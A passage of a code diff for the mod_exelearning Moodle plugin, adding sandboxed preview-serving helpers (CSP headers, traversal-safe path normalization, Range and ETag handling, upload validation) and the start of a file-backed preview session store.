+    const UUID_RE = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i';
+
+    /**
+     * Content-map MIME table, byte-identical to core src/utils/mime-types.ts.
+     *
+     * @var array<string,string>
+     */
+    const MIME_TYPES = [
+        'js' => 'application/javascript',
+        'mjs' => 'application/javascript',
+        'css' => 'text/css',
+        'json' => 'application/json',
+        'html' => 'text/html',
+        'htm' => 'text/html',
+        'xml' => 'application/xml',
+        'txt' => 'text/plain',
+        'png' => 'image/png',
+        'jpg' => 'image/jpeg',
+        'jpeg' => 'image/jpeg',
+        'gif' => 'image/gif',
+        'svg' => 'image/svg+xml',
+        'ico' => 'image/x-icon',
+        'webp' => 'image/webp',
+        'woff' => 'font/woff',
+        'woff2' => 'font/woff2',
+        'ttf' => 'font/ttf',
+        'eot' => 'application/vnd.ms-fontobject',
+        'mp3' => 'audio/mpeg',
+        'mp4' => 'video/mp4',
+        'webm' => 'video/webm',
+        'ogg' => 'audio/ogg',
+        'pdf' => 'application/pdf',
+        'zip' => 'application/zip',
+    ];
+
+    /**
+     * The sandbox-first preview CSP. MUST stay byte-identical to eXe core
+     * previewCspHeader() (src/shared/security/previewSandbox.ts): a single line,
+     * directives joined by "; ", no trailing ";". The sandbox tokens are hardcoded
+     * to allow-scripts allow-popups allow-forms (== PREVIEW_SANDBOX): the preview
+     * is ALWAYS opaque and must NOT inherit the published-content escape hatch
+     * (player_iframe::sandbox_tokens() can add allow-same-origin under the dev-only
+     * legacy hatch, which would defeat opacity — never reuse it here).
+     *
+     * @return string
+     */
+    public static function csp_header(): string {
+        return implode('; ', [
+            'sandbox allow-scripts allow-popups allow-forms',
+            "default-src 'self'",
+            "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
+            "style-src 'self' 'unsafe-inline'",
+            "img-src 'self' data: blob: https:",
+            "media-src 'self' data: blob: https:",
+            "font-src 'self' data:",
+            "connect-src 'self'",
+            "frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com",
+            "child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com",
+            "object-src 'none'",
+            "base-uri 'none'",
+            "form-action 'self'",
+            "frame-ancestors 'self'",
+        ]);
+    }
+
+    /**
+     * Permissions-Policy value for every preview response (== previewPermissionsPolicy();
+     * the 4-feature preview value, NOT the published-content superset).
+     *
+     * @return string
+     */
+    public static function permissions_policy(): string {
+        return implode(', ', ['camera=()', 'microphone=()', 'geolocation=()', 'payment=()']);
+    }
+
+    /**
+     * Hardening headers applied to EVERY serving response, 404s included.
+     * Cache-Control is NOT here — it is tiered per resolution layer by the caller.
+     * Access-Control-Allow-Origin: * is safe on this authless, cookieless route
+     * (never pair it with Access-Control-Allow-Credentials).
+     *
+     * @return array<string,string>
+     */
+    public static function base_headers(): array {
+        return [
+            'X-Content-Type-Options' => 'nosniff',
+            'Referrer-Policy' => 'no-referrer',
+            'Permissions-Policy' => self::permissions_policy(),
+            'Access-Control-Allow-Origin' => '*',
+        ];
+    }
+
+    /**
+     * Scriptable document types that MUST carry the sandbox CSP. Not just
+     * text/html: an author-supplied image/svg+xml (or XML) runs its inline
+     * <script> same-origin when opened top-level, so those get the CSP too
+     * (nosniff does not help — SVG is already a scriptable document type).
+     *
+     * @param string $mime
+     * @return bool
+     */
+    public static function is_scriptable(string $mime): bool {
+        $base = strtolower(trim(explode(';', $mime)[0]));
+        return $base === 'text/html'
+            || $base === 'image/svg+xml'
+            || $base === 'application/xml'
+            || $base === 'text/xml'
+            || $base === 'application/xhtml+xml';
+    }
+
+    /**
+     * Resolve the Content-Type for a content-map path, appending a UTF-8 charset
+     * to textual types so responses paired with nosniff stay strict and readable.
+     * Byte-identical to core contentTypeFor().
+     *
+     * @param string $path Normalized served path.
+     * @return string
+     */
+    public static function content_type_for(string $path): string {
+        $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
+        $contenttype = self::MIME_TYPES[$ext] ?? 'application/octet-stream';
+        $istextual = strpos($contenttype, 'text/') === 0
+            || in_array($ext, ['js', 'mjs', 'json', 'svg', 'xml'], true);
+        if ($istextual && strpos($contenttype, 'charset') === false) {
+            $contenttype .= '; charset=utf-8';
+        }
+        return $contenttype;
+    }
+
+    /**
+     * Normalize a requested relative path against a content-map root. Returns a
+     * safe, root-relative POSIX path, or null when the request escapes the root
+     * (traversal, encoded or literal), contains a NUL byte, or carries malformed
+     * percent-encoding. Byte-for-byte behaviour of core normalizeContentPath().
+     *
+     * @param string $relpath
+     * @return string|null
+     */
+    public static function normalize_content_path(string $relpath): ?string {
+        $path = explode('?', $relpath, 2)[0];
+        $path = explode('#', $path, 2)[0];
+        // JS decodeURIComponent throws on malformed percent-encoding; mirror that.
+        if (preg_match('/%(?![0-9A-Fa-f]{2})/', $path)) {
+            return null;
+        }
+        $path = rawurldecode($path);
+        // JS decodeURIComponent also throws on percent-sequences that decode to
+        // invalid UTF-8 (overlong forms like %C0%AF, lone continuation bytes,
+        // lone surrogates); reject those too so an overlong-encoded separator
+        // cannot slip through as raw bytes.
+        if (mb_check_encoding($path, 'UTF-8') === false) {
+            return null;
+        }
+        // Backslashes are literal (not separators) in the content map; a NUL is invalid.
+        if (strpos($path, "\0") !== false) {
+            return null;
+        }
+        $path = preg_replace('#^/+#', '', $path);
+        if ($path === '') {
+            $path = 'index.html';
+        }
+        $norm = self::posix_normalize($path);
+        if ($norm === '..' || strncmp($norm, '../', 3) === 0 || strncmp($norm, '/', 1) === 0) {
+            return null;
+        }
+        return $norm;
+    }
+
+    /**
+     * Collapse '.' and '..' segments without touching the filesystem (a PHP
+     * equivalent of Node's path.posix.normalize for the cases we accept).
+     *
+     * @param string $path
+     * @return string
+     */
+    private static function posix_normalize(string $path): string {
+        $isabsolute = strncmp($path, '/', 1) === 0;
+        $stack = [];
+        foreach (explode('/', $path) as $segment) {
+            if ($segment === '' || $segment === '.') {
+                continue;
+            }
+            if ($segment === '..') {
+                if (!empty($stack) && end($stack) !== '..') {
+                    array_pop($stack);
+                } else if (!$isabsolute) {
+                    $stack[] = '..';
+                }
+                continue;
+            }
+            $stack[] = $segment;
+        }
+        $result = implode('/', $stack);
+        if ($isabsolute) {
+            $result = '/' . $result;
+        }
+        if ($result === '') {
+            $result = $isabsolute ? '/' : '.';
+        }
+        return $result;
+    }
+
+    /**
+     * Parse a single-range Range header against a body of $totalsize bytes.
+     *
+     * Returns null when no usable range applies — no header at all, OR a header
+     * that is ignored per RFC 9110: a non-"bytes" unit, a multi-range set,
+     * unparseable garbage, or an invalid spec whose last-byte-pos is below its
+     * first-byte-pos (e.g. bytes=5-2). All of those are served as a normal 200
+     * full response (an ignored Range is NOT a 416). Returns ['start'=>int,
+     * 'end'=>int] for a satisfiable inclusive window (206), or the string
+     * 'unsatisfiable' (416) for a syntactically VALID single range that cannot be
+     * satisfied against this body: first-byte-pos >= length, or a zero/empty suffix.
+     *
+     * @param string|null $value
+     * @param int $totalsize
+     * @return array{start:int,end:int}|string|null
+     */
+    public static function parse_range(?string $value, int $totalsize) {
+        if ($value === null || $value === '') {
+            return null;
+        }
+        // Malformed grammar, a multi-range set (comma), or a non-"bytes" unit is
+        // ignored: RFC 7233 says an unparsable Range must be treated as absent
+        // (serve the full 200), never as unsatisfiable.
+        if (!preg_match('/^bytes=(\d*)-(\d*)$/', trim($value), $match)) {
+            return null;
+        }
+        $rawstart = $match[1];
+        $rawend = $match[2];
+        // A "bytes=-" header carries neither a position nor a suffix: malformed, ignore.
+        if ($rawstart === '' && $rawend === '') {
+            return null;
+        }
+        if ($rawstart === '') {
+            $suffix = (int) $rawend;
+            if ($suffix === 0 || $totalsize === 0) {
+                return 'unsatisfiable';
+            }
+            return ['start' => max(0, $totalsize - $suffix), 'end' => $totalsize - 1];
+        }
+        $start = (int) $rawstart;
+        if ($rawend === '') {
+            // Open-ended range: satisfiable iff the first-byte-pos is within the body.
+            return ($start >= $totalsize) ? 'unsatisfiable' : ['start' => $start, 'end' => $totalsize - 1];
+        }
+        $end = (int) $rawend;
+        // Structural validity is checked BEFORE satisfiability: an inverted spec
+        // (last-byte-pos < first-byte-pos, e.g. bytes=15-2) is an invalid
+        // byte-range-spec per RFC 9110, so the header is ignored (200 full) — even
+        // when the first-byte-pos is also beyond the body, which alone would 416.
+        if ($end < $start) {
+            return null;
+        }
+        if ($start >= $totalsize) {
+            return 'unsatisfiable';
+        }
+        return ['start' => $start, 'end' => min($end, $totalsize - 1)];
+    }
+
+    /**
+     * Loose If-None-Match evaluation: any listed entity tag (or *) matches.
+     *
+     * @param string|null $headervalue
+     * @param string $etag
+     * @return bool
+     */
+    public static function if_none_match_matches(?string $headervalue, string $etag): bool {
+        if ($headervalue === null || $headervalue === '') {
+            return false;
+        }
+        foreach (explode(',', $headervalue) as $candidate) {
+            $cleaned = preg_replace('/^W\//i', '', trim($candidate));
+            $cleaned = trim($cleaned, '"');
+            if ($cleaned === '*' || $cleaned === $etag) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * The 404 response (base hardening headers + no-store), returned for an
+     * invalid capability, an unknown/expired session, and an unresolved path.
+     *
+     * @return array{status:int,headers:array<string,string>,body:string}
+     */
+    public static function not_found(): array {
+        $headers = self::base_headers();
+        $headers['Cache-Control'] = 'no-store';
+        $headers['Content-Type'] = 'text/plain; charset=utf-8';
+        return ['status' => 404, 'headers' => $headers, 'body' => 'Not found'];
+    }
+
+    /**
+     * Split the capability URL tail "/{previewId}/{relpath}" into its parts. The
+     * bare form ("/{previewId}" or "/{previewId}/", i.e. an empty relpath) is
+     * flagged so the serving endpoint can 302-redirect it to index.html rather
+     * than serve document bytes from the bare URL (relative resources in the
+     * document resolve against the session directory, not the bare capability).
+     *
+     * @param string $arg The raw slash-argument tail (a leading slash is optional).
+     * @return array{previewid:string,relpath:string,bareroot:bool,trailingslash:bool}
+     */
+    public static function parse_capability_path(string $arg): array {
+        $arg = ltrim($arg, '/');
+        $trailingslash = ($arg !== '' && substr($arg, -1) === '/');
+        $slash = strpos($arg, '/');
+        $previewid = ($slash === false) ? $arg : substr($arg, 0, $slash);
+        $relpath = ($slash === false) ? '' : substr($arg, $slash + 1);
+        return [
+            'previewid' => $previewid,
+            'relpath' => $relpath,
+            'bareroot' => ($relpath === ''),
+            'trailingslash' => $trailingslash,
+        ];
+    }
+
+    /**
+     * The RELATIVE Location for the bare-root 302, resolved by the browser
+     * against the current request URL (so it stays correct under any BASE_PATH or
+     * the app:// origin — never hardcode the host). Without a trailing slash the
+     * previewId is the last path segment, so the target is `{previewId}/index.html`;
+     * with a trailing slash the request is already the session directory, so the
+     * target is just `index.html`.
+     *
+     * @param string $previewid
+     * @param bool $trailingslash Whether the requested bare URL ended with a slash.
+     * @return string
+     */
+    public static function bare_root_location(string $previewid, bool $trailingslash): string {
+        return $trailingslash ? 'index.html' : $previewid . '/index.html';
+    }
+
+    /**
+     * The 302 response for the bare capability root: redirect to the session's
+     * index.html so the opaque iframe's base URL is the session directory and no
+     * document bytes are ever served from the bare URL. Carries the base
+     * hardening headers + no-store, like every other serving response, and never
+     * a CSP (a redirect has no scriptable body).
+     *
+     * @param string $location Absolute URL of the session's index.html.
+     * @return array{status:int,headers:array<string,string>,body:string}
+     */
+    public static function redirect_to_index(string $location): array {
+        $headers = self::base_headers();
+        $headers['Cache-Control'] = 'no-store';
+        $headers['Location'] = $location;
+        return ['status' => 302, 'headers' => $headers, 'body' => ''];
+    }
+
+    /**
+     * The contract's reference serving logic: three-layer resolution through the
+     * session, then tiered response headers. The sandbox CSP rides on every
+     * scriptable document type whatever layer resolved it.
+     *
+     * @param preview_session $session The active session (already looked up).
+     * @param string $relpath The requested path (below the capability prefix).
+     * @param array $reqheaders Optional 'ifnonematch' and 'range' request-header values.
+     * @return array{status:int,headers:array<string,string>,body:string}
+     */
+    public static function serve(preview_session $session, string $relpath, array $reqheaders): array {
+        $file = $session->get_file($relpath);
+        if ($file === null) {
+            return self::not_found();
+        }
+
+        $headers = self::base_headers();
+        $headers['Content-Type'] = $file->contenttype;
+        if ($file->scriptable) {
+            $headers['Content-Security-Policy'] = self::csp_header();
+        }
+
+        if ($file->kind === 'document') {
+            $headers['Cache-Control'] = 'no-store';
+            return ['status' => 200, 'headers' => $headers, 'body' => $file->bytes];
+        }
+
+        if ($file->kind === 'fixed') {
+            $headers['Cache-Control'] = 'private, max-age=31536000';
+            return ['status' => 200, 'headers' => $headers, 'body' => $file->bytes];
+        }
+
+        // Session asset: revalidating cache tier with ETag + single-range support.
+        $headers['Cache-Control'] = 'no-cache';
+        $headers['ETag'] = '"' . $file->etag . '"';
+        $headers['Accept-Ranges'] = 'bytes';
+
+        if (self::if_none_match_matches($reqheaders['ifnonematch'] ?? null, $file->etag)) {
+            return ['status' => 304, 'headers' => $headers, 'body' => ''];
+        }
+
+        $total = strlen($file->bytes);
+        $range = self::parse_range($reqheaders['range'] ?? null, $total);
+        if ($range === 'unsatisfiable') {
+            $headers['Content-Range'] = 'bytes */' . $total;
+            return ['status' => 416, 'headers' => $headers, 'body' => ''];
+        }
+        if (is_array($range)) {
+            $body = substr($file->bytes, $range['start'], $range['end'] - $range['start'] + 1);
+            $headers['Content-Range'] = 'bytes ' . $range['start'] . '-' . $range['end'] . '/' . $total;
+            $headers['Content-Length'] = (string) strlen($body);
+            return ['status' => 206, 'headers' => $headers, 'body' => $body];
+        }
+        return ['status' => 200, 'headers' => $headers, 'body' => $file->bytes];
+    }
+
+    // Management-endpoint helpers (authenticated, owner-scoped).
+
+    /**
+     * Route a management request from its HTTP method and PATH_INFO tail onto one
+     * of the four contract operations, replacing the legacy action= dispatch:
+     *
+     *   POST   {script}                      → create
+     *   POST   {script}/{previewId}/assets    → assets
+     *   POST   {script}/{previewId}/revisions → revision
+     *   DELETE {script}/{previewId}           → delete
+     *
+     * On a match returns ['op'=>string,'previewid'=>?string]; a known path with
+     * the wrong method returns an 'error' op with status 405 and the Allow value;
+     * an unknown path returns an 'error' op with status 404.
+     *
+     * @param string $method The request's HTTP method.
+     * @param string $pathinfo The PATH_INFO tail (leading/trailing slashes optional).
+     * @return array{op:string,previewid?:?string,status?:int,allow?:?string,message?:string}
+     */
+    public static function route_management(string $method, string $pathinfo): array {
+        $method = strtoupper($method);
+        $segments = array_values(array_filter(
+            explode('/', trim($pathinfo, '/')),
+            static function ($segment) {
+                return $segment !== '';
+            }
+        ));
+
+        if (count($segments) === 0) {
+            return ($method === 'POST')
+                ? ['op' => 'create', 'previewid' => null]
+                : self::route_error(405, 'POST', 'Method not allowed');
+        }
+        if (count($segments) === 1) {
+            return ($method === 'DELETE')
+                ? ['op' => 'delete', 'previewid' => $segments[0]]
+                : self::route_error(405, 'DELETE', 'Method not allowed');
+        }
+        if (count($segments) === 2 && $segments[1] === 'assets') {
+            return ($method === 'POST')
+                ? ['op' => 'assets', 'previewid' => $segments[0]]
+                : self::route_error(405, 'POST', 'Method not allowed');
+        }
+        if (count($segments) === 2 && $segments[1] === 'revisions') {
+            return ($method === 'POST')
+                ? ['op' => 'revision', 'previewid' => $segments[0]]
+                : self::route_error(405, 'POST', 'Method not allowed');
+        }
+        return self::route_error(404, null, 'Unknown preview management route');
+    }
+
+    /**
+     * Build a route_management() error result.
+     *
+     * @param int $status
+     * @param string|null $allow The Allow header value for a 405, or null.
+     * @param string $message
+     * @return array{op:string,status:int,allow:?string,message:string}
+     */
+    private static function route_error(int $status, ?string $allow, string $message): array {
+        return ['op' => 'error', 'status' => $status, 'allow' => $allow, 'message' => $message];
+    }
+
+    /**
+     * 201 body for create-session.
+     *
+     * @param int $owneruserid
+     * @return array{status:int,body:array}
+     */
+    public static function create_session_response(int $owneruserid): array {
+        $previewid = session_store::create_session($owneruserid);
+        $limits = session_store::limits();
+        return [
+            'status' => 201,
+            'body' => [
+                'previewId' => $previewid,
+                'protocolVersion' => self::PROTOCOL_VERSION,
+                'revision' => 0,
+                'limits' => [
+                    'maxFilesPerSession' => $limits['maxfilespersession'],
+                    'maxBytesPerSession' => $limits['maxbytespersession'],
+                    'maxAssetBytes' => $limits['maxassetbytes'],
+                    'recommendedBatchBytes' => self::RECOMMENDED_BATCH_BYTES,
+                ],
+            ],
+        ];
+    }
+
+    /**
+     * Handle an asset upload. The byte budget is enforced twice — on DECLARED
+     * sizes before buffering and on ACTUAL bytes while buffering — so an
+     * under-reported size can never amplify memory. Per-entry validation (key
+     * shape, immutability, declared-vs-actual mismatch, per-asset cap) is
+     * delegated to session_store::store_assets().
+     *
+     * @param preview_session $session
+     * @param mixed $rawassets The 'assets' field: a JSON string, or a pre-decoded array.
+     * @param string[] $files Raw file bytes, index-aligned with the assets array.
+     * @return array{status:int,body:array}
+     */
+    public static function handle_assets_upload(preview_session $session, $rawassets, array $files): array {
+        $entries = self::decode_json_field($rawassets);
+        if (!is_array($entries) || !array_is_list($entries)) {
+            return self::error(400, 'assets must be an array of { key, size } entries');
+        }
+        foreach ($entries as $entry) {
+            if (
+                !is_array($entry) || !isset($entry['key']) || !is_string($entry['key'])
+                    || !isset($entry['size']) || !is_int($entry['size'])
+            ) {
+                return self::error(400, 'assets must be an array of { key, size } entries');
+            }
+        }
+        if (count($files) !== count($entries)) {
+            return self::error(400, 'assets and files must be index-aligned');
+        }
+
+        $limits = session_store::limits();
+        $remaining = $limits['maxbytespersession'] - $session->session_bytes();
+        $declared = 0;
+        foreach ($entries as $entry) {
+            $declared += $entry['size'];
+            if ($declared > $remaining) {
+                return self::error(413, 'Upload exceeds the preview session byte budget');
+            }
+        }
+
+        $buffered = 0;
+        $prepared = [];
+        foreach ($files as $i => $bytes) {
+            $buffered += strlen($bytes);
+            if ($buffered > $remaining) {
+                return self::error(413, 'Upload exceeds the preview session byte budget');
+            }
+            $prepared[] = [
+                'key' => $entries[$i]['key'],
+                'declaredsize' => $entries[$i]['size'],
+                'bytes' => $bytes,
+            ];
+        }
+
+        $result = session_store::store_assets($session, $prepared);
+        return ['status' => 200, 'body' => $result];
+    }
+
+    /**
+     * Handle a revision publication. All write bytes are buffered (with an
+     * amplification guard) BEFORE session_store::apply_revision() runs its
+     * revision re-check and single atomic publish, so a concurrent GET never
+     * observes a partial revision.
+     *
+     * @param preview_session $session
+     * @param mixed $rawrevision The 'revision' field: a JSON string, or a pre-decoded object.
+     * @param string[] $files Raw file bytes, index-aligned with meta.writes.
+     * @return array{status:int,body:array}
+     */
+    public static function handle_revision_upload(preview_session $session, $rawrevision, array $files): array {
+        $meta = self::decode_json_field($rawrevision);
+        if (!is_array($meta) || array_is_list($meta)) {
+            return self::error(400, 'revision must be a JSON object');
+        }
+        if (
+            !isset($meta['baseRevision']) || !is_int($meta['baseRevision'])
+                || !isset($meta['nextRevision']) || !is_int($meta['nextRevision'])
+        ) {
+            return self::error(400, 'baseRevision and nextRevision must be integers');
+        }
+        $writes = $meta['writes'] ?? [];
+        if (!is_array($writes) || !self::is_string_list($writes)) {
+            return self::error(400, 'writes must be an array of paths');
+        }
+        $deletes = $meta['deletes'] ?? [];
+        if (!is_array($deletes) || !self::is_string_list($deletes)) {
+            return self::error(400, 'deletes must be an array of paths');
+        }
+        $assetrefs = $meta['assetRefs'] ?? [];
+        $fixedrefs = $meta['fixedRefs'] ?? [];
+        if (!self::is_string_map($assetrefs) || !self::is_string_map($fixedrefs)) {
+            return self::error(400, 'assetRefs and fixedRefs must map paths to string ids');
+        }
+        if (count($files) !== count($writes)) {
+            return self::error(400, 'revision writes and files must be index-aligned');
+        }
+
+        $limits = session_store::limits();
+        $remainingfordocuments = $limits['maxbytespersession'] - $session->asset_bytes();
+        $bufferedwrites = [];
+        $buffered = 0;
+        foreach ($files as $i => $bytes) {
+            $buffered += strlen($bytes);
+            if ($buffered > $remainingfordocuments) {
+                return self::error(413, 'Revision exceeds the preview session byte budget');
+            }
+            $bufferedwrites[] = ['path' => $writes[$i], 'bytes' => $bytes];
+        }
+
+        $result = session_store::apply_revision($session, [
+            'baserevision' => $meta['baseRevision'],
+            'nextrevision' => $meta['nextRevision'],
+            'deletes' => array_values($deletes),
+            'assetrefs' => $assetrefs,
+            'fixedrefs' => $fixedrefs,
+        ], $bufferedwrites);
+
+        if (isset($result['active'])) {
+            return ['status' => 200, 'body' => ['revision' => $result['revision'], 'active' => true]];
+        }
+        if ($result['status'] === 409) {
+            return ['status' => 409, 'body' => ['reason' => 'revision-conflict', 'currentRevision' => $result['currentrevision']]];
+        }
+        if ($result['status'] === 422 && $result['reason'] === 'missing-assets') {
+            return ['status' => 422, 'body' => ['reason' => 'missing-assets', 'missing' => $result['missing']]];
+        }
+        if ($result['status'] === 422 && $result['reason'] === 'unknown-fixed-resources') {
+            return ['status' => 422, 'body' => ['reason' => 'unknown-fixed-resources', 'resources' => $result['resources']]];
+        }
+        return self::error($result['status'], $result['message'] ?? 'Revision rejected');
+    }
+
+    /**
+     * Validate a multipart files[] batch and extract its bytes in order, or fail
+     * the WHOLE batch. A per-file PHP upload error must NEVER be silently mapped
+     * to empty content: a document that trips php.ini upload_max_filesize (a large
+     * search index, a media-heavy page) would otherwise publish as a 0-byte file
+     * and the preview would show a blank page with no error reported. A size error
+     * (UPLOAD_ERR_INI_SIZE / _FORM_SIZE) is a 413; any other upload error, or a
+     * temp file that cannot be read, is a 400. The offending index/name is named.
+     *
+     * @param array $parts Upload parts, each ['error'=>int,'name'=>string,'bytes'=>?string].
+     * @return array{ok:true,files:string[]}|array{ok:false,status:int,error:string}
+     */
+    public static function collect_upload(array $parts): array {
+        $files = [];
+        foreach ($parts as $index => $part) {
+            $error = isset($part['error']) ? (int) $part['error'] : UPLOAD_ERR_NO_FILE;
+            $name = (string) ($part['name'] ?? '');
+            $label = '#' . $index . ($name !== '' ? ' (' . $name . ')' : '');
+            if ($error === UPLOAD_ERR_INI_SIZE || $error === UPLOAD_ERR_FORM_SIZE) {
+                return self::upload_failure(413, 'Uploaded file ' . $label . ' exceeds the server upload size limit');
+            }
+            if ($error !== UPLOAD_ERR_OK) {
+                return self::upload_failure(400, 'Upload of file ' . $label . ' failed (error ' . $error . ')');
+            }
+            if (!is_string($part['bytes'] ?? null)) {
+                return self::upload_failure(400, 'Uploaded file ' . $label . ' could not be read');
+            }
+            $files[] = $part['bytes'];
+        }
+        return ['ok' => true, 'files' => $files];
+    }
+
+    /**
+     * Endpoint entry for an asset upload: validate the multipart batch (rejecting
+     * any failed or oversized part BEFORE storing anything), then delegate.
+     *
+     * @param preview_session $session
+     * @param mixed $rawassets
+     * @param array $parts Upload parts, each ['error'=>int,'name'=>string,'bytes'=>?string].
+     * @return array{status:int,body:array}
+     */
+    public static function handle_assets_request(preview_session $session, $rawassets, array $parts): array {
+        $collected = self::collect_upload($parts);
+        if (!$collected['ok']) {
+            return self::error($collected['status'], $collected['error']);
+        }
+        return self::handle_assets_upload($session, $rawassets, $collected['files']);
+    }
+
+    /**
+     * Endpoint entry for a revision publish: validate the multipart batch
+     * (rejecting any failed or oversized part BEFORE apply_revision, so a partial
+     * upload never publishes a document as empty), then delegate.
+     *
+     * @param preview_session $session
+     * @param mixed $rawrevision
+     * @param array $parts Upload parts, each ['error'=>int,'name'=>string,'bytes'=>?string].
+     * @return array{status:int,body:array}
+     */
+    public static function handle_revision_request(preview_session $session, $rawrevision, array $parts): array {
+        $collected = self::collect_upload($parts);
+        if (!$collected['ok']) {
+            return self::error($collected['status'], $collected['error']);
+        }
+        return self::handle_revision_upload($session, $rawrevision, $collected['files']);
+    }
+
+    /**
+     * Build a collect_upload() failure result.
+     *
+     * @param int $status
+     * @param string $message
+     * @return array{ok:false,status:int,error:string}
+     */
+    private static function upload_failure(int $status, string $message): array {
+        return ['ok' => false, 'status' => $status, 'error' => $message];
+    }
+
+    /**
+     * Decode a management field that carries JSON. Multipart parsers deliver it
+     * as a string; accept a pre-decoded value too.
+     *
+     * @param mixed $raw
+     * @return mixed The decoded value, or null on malformed JSON.
+     */
+    private static function decode_json_field($raw) {
+        if (!is_string($raw)) {
+            return $raw;
+        }
+        return json_decode($raw, true);
+    }
+
+    /**
+     * Whether every element of an array is a string.
+     *
+     * @param mixed $value
+     * @return bool
+     */
+    private static function is_string_list($value): bool {
+        if (!is_array($value)) {
+            return false;
+        }
+        foreach ($value as $item) {
+            if (!is_string($item)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Whether a value is an associative array mapping strings to strings.
+     *
+     * @param mixed $value
+     * @return bool
+     */
+    private static function is_string_map($value): bool {
+        if (!is_array($value)) {
+            return false;
+        }
+        if (array_is_list($value) && $value !== []) {
+            return false;
+        }
+        foreach ($value as $item) {
+            if (!is_string($item)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * A uniform management-error body.
+     *
+     * @param int $status
+     * @param string $message
+     * @return array{status:int,body:array}
+     */
+    private static function error(int $status, string $message): array {
+        return ['status' => $status, 'body' => ['success' => false, 'error' => $message]];
+    }
+}
diff --git a/classes/local/preview/session_store.php b/classes/local/preview/session_store.php
new file mode 100644
index 0000000..56a5124
--- /dev/null
+++ b/classes/local/preview/session_store.php
@@ -0,0 +1,966 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+/**
+ * File-backed preview session store (serving contract v2, the three layers).
+ *
+ * PHP is request-scoped, so an in-memory session map (like eXe core's Bun
+ * service) does not survive between the management request that populates a
+ * session and the authless GETs that serve it. This store persists each session
+ * under make_temp_directory('mod_exelearning/preview-sessions/{previewId}'):
+ *
+ *   {previewId}/
+ *     meta.json                    ownerUserId, createdAt, assetBytes, documentBytes
+ *     access                       empty marker; its mtime is the idle-TTL clock
+ *     current                      the ACTIVE revision number (absent ⇒ revision 0)
+ *     assets/
+ *       index.json                 assetKey → size (immutable per key)
+ *       asset_{sha1(key)}          asset bytes
+ *     revisions/{n}/
+ *       revision.json              documents{path→size}, assetrefs, fixedrefs
+ *       doc_{sha1(path)}           document bytes
+ *
+ * Atomicity: a revision is staged in revisions/{n} and then published by an
+ * atomic rename of the `current` pointer. A serving GET reads `current` ONCE and
+ * serves strictly from that immutable revision directory, so it never observes a
+ * mix of revision N and N+1. Mutations (asset store, revision publish) hold a
+ * per-session core lock so the revision compare-and-swap is race-free.
+ *
+ * Sessions are ephemeral: an idle TTL sweeper (scheduled task + opportunistic
+ * check on access) reaps them, and the client transparently recreates a session
+ * on the next refresh after any 404.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+final class session_store {
+    /** @var int Idle time-to-live in seconds (30 minutes). */
+    const TTL_SECONDS = 1800;
+
+    /** @var int Maximum concurrent sessions per user (LRU-evicted on create). */
+    const MAX_SESSIONS_PER_USER = 4;
+
+    /** @var int Maximum files (documents + asset refs + fixed refs) per session. */
+    const MAX_FILES_PER_SESSION = 5000;
+
+    /** @var int Maximum bytes (documents + assets) per session (200 MiB). */
+    const MAX_BYTES_PER_SESSION = 209715200;
+
+    /** @var int Maximum bytes for a single asset (128 MiB). */
+    const MAX_ASSET_BYTES = 134217728;
+
+    /** @var int Global byte ceiling across all sessions (2 GiB), LRU-evicted on create. */
+    const GLOBAL_MAX_BYTES = 2147483648;
+
+    /** @var string assetKey wire format: {assetId}@{contentHashPrefix}. */
+    const ASSET_KEY_RE = '/^[0-9a-fA-F-]{36}@[0-9a-f]{8,64}$/';
+
+    /** @var string Lock type for the preview-session locks. */
+    const LOCK_TYPE = 'mod_exelearning';
+
+    /** @var int Seconds to wait for a session lock before giving up. */
+    const LOCK_TIMEOUT = 10;
+
+    /** @var string|null Storage-root override for tests. */
+    private static $rootoverride = null;
+
+    /** @var array<string,int> Per-limit overrides for tests. */
+    private static $limitoverrides = [];
+
+    /** @var int enumerate() call count; a test seam for the once-per-batch scan guarantee. */
+    private static $enumeratecount = 0;
+
+    /**
+     * Point the store at an explicit storage root (tests only).
+     *
+     * @param string $dir Absolute directory that will hold session subdirectories.
+     */
+    public static function set_root_for_testing(string $dir): void {
+        self::$rootoverride = $dir;
+    }
+
+    /**
+     * Restore the default storage root.
+     */
+    public static function reset_root_for_testing(): void {
+        self::$rootoverride = null;
+    }
+
+    /**
+     * Override one or more limits (tests only) so the 413 / too-large / eviction
+     * / TTL branches are exercisable without allocating the production budgets.
+     *
+     * @param array $overrides Per-limit overrides, keyed by the limits() keys.
+     */
+    public static function set_limits_for_testing(array $overrides): void {
+        self::$limitoverrides = $overrides;
+    }
+
+    /**
+     * Restore the default limits.
+     */
+    public static function reset_limits_for_testing(): void {
+        self::$limitoverrides = [];
+    }
+
+    /**
+     * enumerate() invocations since the last reset (tests only): proves the
+     * global-ceiling scan runs once per asset batch, not once per entry.
+     *
+     * @return int
+     */
+    public static function enumerate_count_for_testing(): int {
+        return self::$enumeratecount;
+    }
+
+    /**
+     * Reset the enumerate() call counter (tests only).
+     */
+    public static function reset_enumerate_count_for_testing(): void {
+        self::$enumeratecount = 0;
+    }
+
+    /**
+     * The effective session limits (route handlers advertise and enforce them).
+     *
+     * @return array<string,int>
+     */
+    public static function limits(): array {
+        return [
+            'ttl' => self::limitof('ttl'),
+            'maxsessionsperuser' => self::limitof('maxsessionsperuser'),
